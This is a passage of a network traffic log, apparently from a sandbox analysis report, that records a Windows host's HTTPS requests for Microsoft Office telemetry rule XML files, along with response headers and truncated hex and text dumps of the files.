2024-10-07 01:23:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:12 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:12 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:12 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 29f28342-e01e-003c-5d00-17c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012312Z-1657d5bbd48dfrdj7px744zp8s00000002fg00000000kkqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:12 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:12 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:12 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 76165599-601e-000d-1a02-172618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012312Z-1657d5bbd48sdh4cyzadbb374800000002mg00000000efgg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:12 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:13 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:13 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 6f1c5b1d-901e-0048-485a-17b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012313Z-1657d5bbd48sdh4cyzadbb374800000002r0000000002m65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:13 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:12 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:13 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:12 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 04600955-801e-00ac-55f4-16fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012312Z-1657d5bbd48762wn1qw4s5sd3000000002p000000000cwh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:13 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:12 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:13 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:13 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 173e0f62-801e-00a3-24fe-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012313Z-1657d5bbd48sdh4cyzadbb374800000002g000000000vc15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:13 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:12 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:13 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:12 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: a9a45936-c01e-00a1-54f1-167e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012312Z-1657d5bbd48sqtlf1huhzuwq7000000002g000000000eb47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:13 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:12 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:13 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 6bee43b5-001e-00a2-2106-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012313Z-1657d5bbd48xlwdx82gahegw4000000002wg00000000rkde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:13 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:13 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:13 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 87e26173-201e-0051-15e7-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012313Z-1657d5bbd487nf59mzf5b3gk8n00000002e000000000a807 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:13 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:13 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fcca05a5-501e-00a0-3202-179d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012313Z-1657d5bbd48brl8we3nu8cxwgn000000031g00000000n9ku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:13 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:13 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:13 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:13 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 31868579-401e-008c-0af2-1686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012313Z-1657d5bbd48wd55zet5pcra0cg00000002t000000000asm6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:13 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:13 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:13 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:13 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 62f7f1ae-f01e-0096-4d0c-1710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012313Z-1657d5bbd48lknvp09v995n79000000002bg00000000p77r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:13 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 